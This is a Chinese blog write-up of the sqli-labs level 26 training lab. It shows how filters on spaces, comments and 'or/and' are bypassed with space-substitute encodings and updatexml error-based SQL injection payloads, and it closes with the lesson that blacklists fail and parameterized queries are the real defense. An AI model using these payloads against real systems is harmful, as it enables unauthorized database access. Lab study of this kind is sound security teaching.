文章总结: 本文解析sqli-labs第26关,探讨黑名单过滤空格及注释符时的SQL注入绕过。通过利用括号替代空格及updatexml报错注入,文章成功突破了限制。结论指出黑名单机制脆弱,复杂过滤易致安全错觉。真正的防御应采用预编译等不拼接SQL的方式,而非依赖关键词过滤。文章强调了从语义层面理解SQL注入的重要性。 综合评分: 90 文章分类: WEB安全,渗透测试,漏洞分析,安全建设,实战经验
黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析
原创
武文学网安 武文学网安
武文学网安
2026年1月18日 04:40 中国香港
大家好,我是武文。 今天继续挑战 sqli-labs 第 26 关。
如果说第 25 关让人意识到:“过滤 or / and 并不等于安全”
那么第 26 关,会把这种认知再往前推一步—— 当开发者把“能想到的所有关键词”都拉进黑名单,真的就安全了吗?
答案是: 👉 不但没有,反而更危险。
一、第 26 关的第一感觉:不像是“能打”的样子
页面依旧是熟悉的结构:
?id=1
这一关名字是:All your Space and Comments belongs to us.非常嚣张,将所有空格和符号都给屏蔽了。
通过查看源码,发现这一次更加丰富了过滤词的范围:
第25关只过滤了or 和and关键字。这一关卡则把一些注释符都给过滤掉了:/* — # 空格 \ 等。
于是我开始了“肌肉记忆测试”:
?id=1′?id=1′ –+?id=1 or 1=1 –+?id=1 and 1=1 –+?id=1 union select 1,2,3 –+
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
武文学网安已关注
分享视频
,时长00:51
0/0
00:00/00:51
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:51
00:51
倍速
全屏
倍速播放中
0.5倍0.75倍1.0倍1.5倍2.0倍
超清流畅
[](https://mpvideo.qpic.cn/0b2eu4axqaabaqakmpdkvjuvdj6dpctqc6aa.f10002.mp4?dis_k=fd0ffcfca5cbb538ee2f9f75d1458c7d&dis_t=1768683641&play_scene=10120&auth_info=AfXs/aFEQzxIwOLp/BN5L0geYTVFZ2cyE2hrRD1HViM5SVdLdyZpDmQdQzBde2w6QBs1NU1+VR5GITsZax5MIydD&auth_key=b73f5ebb897e085ab72ffab94977a373&vid=wxv_4346720918887464961&format_id=10002&support_redirect=0&mmversion=false)
继续观看
黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析
观看更多
转载
,
黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析
武文学网安已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
当带单引号时报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1
说明闭合符号很有可能是单引号。
而其他测试则全都屏蔽了or 和and。但我们会发现,过滤了空格符号,但union和select并没有过滤。
但我在测试# 和其他注释的时候,通过观察下方的hint,发现这# 依然可以起到注释作用
?id=1 union select 1,#2,3 --+ ?id=1 union select 1,--2,3 --+ ?id=1 union select 1,/*2,3 --+ ?id=1 union select 1,*/2,3 --+
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
武文学网安已关注
分享视频
,时长00:39
0/0
00:00/00:39
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:39
00:39
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析
观看更多
转载
,
黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析
武文学网安已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
到这里,很容易产生一个错觉:“这关是不是把 SQL 注入彻底封死了?”
二、关键线索:不是 SQL 变强了,而是“过滤更重了”
经过前面25关的挑战学习,我们可以轻易的绕过or和and的过滤,但目前最关键的是空格给屏蔽了,导致我们的参数输入全废了:
如
?id=1 oorr 1=1 Hint: Your Input is Filtered with following result: 1or1=1
?id=1 anandd 1=1 Hint: Your Input is Filtered with following result: 1and1=2
于是我们的注入思路应该放到如何绕过空格的过滤呢,空格在sql中是否有其他的写法,经过查阅资料可以有以下写法
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
武文学网安已关注
分享视频
,时长01:36
0/0
00:00/01:36
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
01:36
01:36
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析
观看更多
转载
,
黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析
武文学网安已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
让我们来挨个尝试,结果发现均不能绕过。
再次回想一下,前面的挑战过程中有没有可以不用空格符号就能够实现注入的。
于是可以想到用括号+功能函数。这里自然而然想到了updatexml
?id=1'||updatexml(1,concat(0x7e,database(),0x7e),1)#
可以看到用了# 依然无法注释,引起了报错,这里我们可以通过手动构造闭合,是sql语句合法:
?id=1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1
这里可以看到,成功绕过,利用XPATH实现了注入。
我们也可以尝试用&&来注入,但mysql中无法直接使用&&,所以我们听%26%26来替代。
?id=1'%26%26updatexml(1,concat(0x7e,database(),0x7e),1)%26%26'1'='1
接下来可以参照sqli-labs第6关来获取其余想要的数据——>
SQL注入实战——显错注入。Sqli-labs第6关
三、第 26 关真正的突破口:SQL 不是靠“空格”活着的
这一关最核心的突破点只有一句话:SQL 语法中,空格不是必须的。我们可以通过构造其他不需要空格的语法即可实现绕过,如利用括号。
举个最简单的例子:
select*from users
等价于:
select///*from//users
也等价于:
select(from(users))
而第 26 关,恰恰只过滤了“空格本身”。
四、这一关为什么“比前面更危险”?
因为第 26 关代表了一种非常真实的安全误区:“我已经过滤得足够多了。”
但实际上:
- 黑名单一定不完整
- SQL 语法可以被无限重写
- 攻击者不需要你“没过滤”,只需要你“漏了一种表达方式”
在真实业务中,这种防御往往会导致:
- 安全测试人员被迷惑
- 漏洞长期潜伏
- 攻击成本反而降低(因为思路更清晰)
五、第 26 关真正教会我的是什么?
这一关没有教我新的 payload。 它真正教会我的,是三件事:
1️⃣ 安全不是“删关键词”,而是“不拼 SQL” 2️⃣ 黑名单越复杂,系统越脆弱 3️⃣ 攻击者思考的是“语义”,不是“字符串”
从第 26 关开始,我越来越清楚地意识到:SQL 注入的本质,从来不是“我能不能写 or / union”。而是“这条 SQL 语句,是否由不可信数据参与构造”
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安 武文学网安《黑名单写到极致,依然很脆弱:sqli-labs 第 26 关实战解析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论